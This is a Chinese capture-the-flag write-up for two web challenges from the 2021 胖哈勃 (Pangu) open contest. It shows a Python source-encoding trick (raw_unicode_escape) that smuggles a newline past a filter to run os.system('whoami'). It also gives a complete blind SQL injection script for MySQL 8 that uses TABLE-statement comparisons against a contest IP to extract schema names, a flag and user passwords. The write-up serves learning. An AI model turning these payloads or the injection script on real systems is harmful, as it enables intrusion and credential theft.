胖哈勃2021

公开赛--PyPrint

【提示】:藏在注释中的后门

Cao了,这道题连方向都错了,嘤嘤嘤好菜啊😭。。。

随便传一个print("Hello World!")执行返回

[-] Are you fucking kidding me? I don't know anything other than print and # !

触发了WAF,也就是只能靠print#,且不能在同一行,具体还是没啥思路,就fuzz一下,发现print内部只能使用大小写字母,#倒可以为所欲为。没思路,然后我就开始找php除了命令行执行python文件,是不是有什么特别的模块漏洞,一入脑洞深似海。。。

有一个解是通过python声明编码方式raw_unicode_escape从而实现Unicode解析字符逃逸危险代码,接下来就来试图理解一下大佬的思路:

python常用的header声明有解释器声明和编码声明,如下所示:

1
2
#!/usr/env/python
# -*- coding=<encoding name> -*-

编码方式决定了python编译器对整个文件内容的解码结果,因此不同的编码方式会出现不同的python执行结果,如常用的UTF-8编码就是支持中文显示的编码。而这道题使用的raw_unicode_escape编码方式声明后会对文件内容解码Unicode\uxxxx内容,将其转为字符,因此可以将换行符转换为Unicode编码\u000a,然后python编译器会将该编码内容解码为\n

payload

1
2
3
# -*- coding=raw_unicode_escape -*-
# \u000aimport os
# \u000aos.system("whoami")

从正常的搜索进行了一次“开卷考试”,凑出了另一个payload(相当于把原来的复制了一遍,貌似其他的编码都不太行?)

1
2
3
# -*- coding=unicode-escape -*-
# \x0aimport os
# \x0aos.system("whoami")

公开赛--NewSql

【提示】:Mysql 8 注入

解题过程

既然是mysql8,那肯定要用到Table语句了,fuzz一下发现\'时回显报错信息

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123'' at line 1

被ban字符

接下来注入,参考浅谈利用mysql8新特性进行SQL注入修改脚本注入即可(不会用脚本,是我太菜了。。。)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import requests
import string
import random

url = 'http://47.99.38.177:10084/index.php'
chars=string.ascii_letters+string.digits+"@{}_-?"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Content-Type": "application/x-www-form-urlencoded"
}
data = "username=admin&password="

def nums(url): # 统计比较列数
    payload = "0'/**/or/**/('def','a','',4,5"
    end = ")<(table/**/information_schema.tables/**/limit/**/0,1)#".replace(" ", "/**/")
    name = ''
    for i in range(6,100):
        payload +=  f",{i}"
        datas = data + payload + end 
        headers["Cookie"] = "PHPSESSID={}".format(''.join(random.sample(string.ascii_letters+string.digits, 8)))
        r = requests.post(url=url, data=datas, headers=headers, allow_redirects=False)
        print(payload)
        if "Error" not in r.text :
            print(i)
            break

def lines(): # 统计开始爆的数据行数
    for i in range(3000, 5000):
        payload = f"0'/**/or/**/('def','ctf','',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table/**/information_schema.tables/**/limit/**/{i},1)#"
        # payload = f"0'/**/or/**/('def','ctf','f1aggghere','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table/**/information_schema.columns/**/limit/**/{i},1)#"
        headers["Cookie"] = "PHPSESSID={}".format(''.join(random.sample(string.ascii_letters+string.digits, 8)))
        datas = data + payload
        r = requests.post(url=url, data=datas, headers=headers, allow_redirects=False)
        if r.status_code != 302:
            print(i)
            break

def test(): # 方便测试payload,省的每次改Cookie
    # payload = "0'/**/or/**/('def','ctf','',4,5,6)<(table/**/information_schema.schemata/**/limit/**/4,1)#"
    # payload = "0'/**/or/**/('def','ctf','f1aggghere',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table/**/information_schema.tables/**/limit/**/325,1)#"
    # payload = "0'/**/or/**/('def','ctf','f1aggghere','flag',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table/**/information_schema.columns/**/limit/**/3437,1)#"
    payload = "0'/**/or/**/(1,'th1s1sthefl0gggth0ty0ua1waysw0nt')<(table/**/f1aggghere/**/limit/**/0,1)#"
    headers["Cookie"] = "PHPSESSID={}".format(''.join(random.sample(string.ascii_letters+string.digits, 8)))
    datas = data + payload
    r = requests.post(url=url, data=datas, headers=headers, allow_redirects=False)
    print(r.status_code)

def str2hex(name):
    res = ''
    for i in name:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

def dbs(url): #无列名盲注爆所有数据库(可修改)
    payload = "0'/**/or/**/('def',{},'',4,5,6)<(table/**/information_schema.schemata/**/limit/**/4,1)#".replace(" ", "/**/")
    name = 'ctf'
    data = ""
    for i in range(1,20):
        hexchar = ''
        for char in range(32, 126):
            hexchar = str2hex(name + chr(char))
            payloads = payload.format(hexchar)
            # print(payloads)
            data += payloads
            headers["Cookie"] = "PHPSESSID={}".format(''.join(random.sample(string.ascii_letters+string.digits, 8)))
            r = requests.post(url=url, data=data, headers=headers, allow_redirects=False)
            # print(len(r.text))
            if (r.status_code != 302) and ("home.php" not in r.text) and len(r.text) != 1888 :
                name += chr(char-1)
                print(name)
                break

def tables(url, database, n):  #无列名盲注爆数据表(可修改)
    payload = f"0'/**/or/**/('def','{database}',{{}},4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table/**/information_schema.tables/**/limit/**/{n},1)#".replace(" ", "/**/")
    name = ''
    for i in range(1,20):
        hexchar = ''
        for char in range(32, 126):
            hexchar = str2hex(name + chr(char))
            payloads = payload.format(hexchar)
            # print(payloads)
            datas = data + payloads
            headers["Cookie"] = "PHPSESSID={}".format(''.join(random.sample(string.ascii_letters+string.digits, 8)))
            r = requests.post(url=url, data=datas, headers=headers, allow_redirects=False)
            # print(len(r.text))
            if (r.status_code != 302) and ("home.php" not in r.text) and (len(r.text) != 1888) :
                name += chr(char-1)
                print(name)
                break

def columns(url,database,table,n):  #无列名盲注爆字段值(可修改)
    payload = f"0'/**/or/**/('def','{database}','{table}',{{}},5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table/**/information_schema.columns/**/limit/**/{n},1)#".replace(" ", "/**/")
    name = ''
    for i in range(1,20):
        hexchar = ''
        for char in range(32, 126):
            hexchar = str2hex(name + chr(char))
            payloads = payload.format(hexchar)
            # print(payloads)
            datas = data + payloads
            headers["Cookie"] = "PHPSESSID={}".format(''.join(random.sample(string.ascii_letters+string.digits, 8)))
            r = requests.post(url=url, data=datas, headers=headers, allow_redirects=False)
            if (r.status_code != 302) and ("home.php" not in r.text) and (len(r.text) != 1888):
                name += chr(char-1)
                print(name)
                break

def datas(url,table):  #无列名盲注爆数据(可修改)
    payload = f"0' or (3,{{}},'')<(table {table} limit 2,1)#".replace(" ", "/**/")
    # payload = f"0' or (2,'whoami',{{}})<(table {table} limit 1,1)#".replace(" ", "/**/")
    # name = 'TH1S1STHEFL0GGGTH0TY0UA1WAYSW0NT'
    name = ""
    for i in range(1,20):
        hexchar = ''
        for char in range(32, 126):
            hexchar = str2hex(name + chr(char))
            payloads = payload.format(hexchar)
            # print(payloads)
            datas = data + payloads
            headers["Cookie"] = "PHPSESSID={}".format(''.join(random.sample(string.ascii_letters+string.digits, 8)))
            r = requests.post(url=url, data=datas, headers=headers, allow_redirects=False)
            if (r.status_code != 302) and ("home.php" not in r.text) and (len(r.text) != 1888):
                name += chr(char-1)
                print(name)
                break

if __name__ == "__main__":
    # nums(url)
    # dbs(url)
    # tables_nums(url, 'ctf')
    # tables(url, 'ctf', 325)
    # columns(url, 'ctf', 'f1aggghere', 3437)
    datas(url, 'users') # admin:admin123; whoami:whoami369
    # lines()
    # test()

1、脚本自带的统计开始行数函数用起来不对劲

2、注表、字段和字段值时最后一个字符总是比正确的-1,一开始以为是最后一个字符与数据存放单元是否是最后一个有关,结果本地尝试后发现没问题,真™的玄学

参考

PEP 263 -- Defining Python Source Code Encodings

浅谈利用mysql8新特性进行SQL注入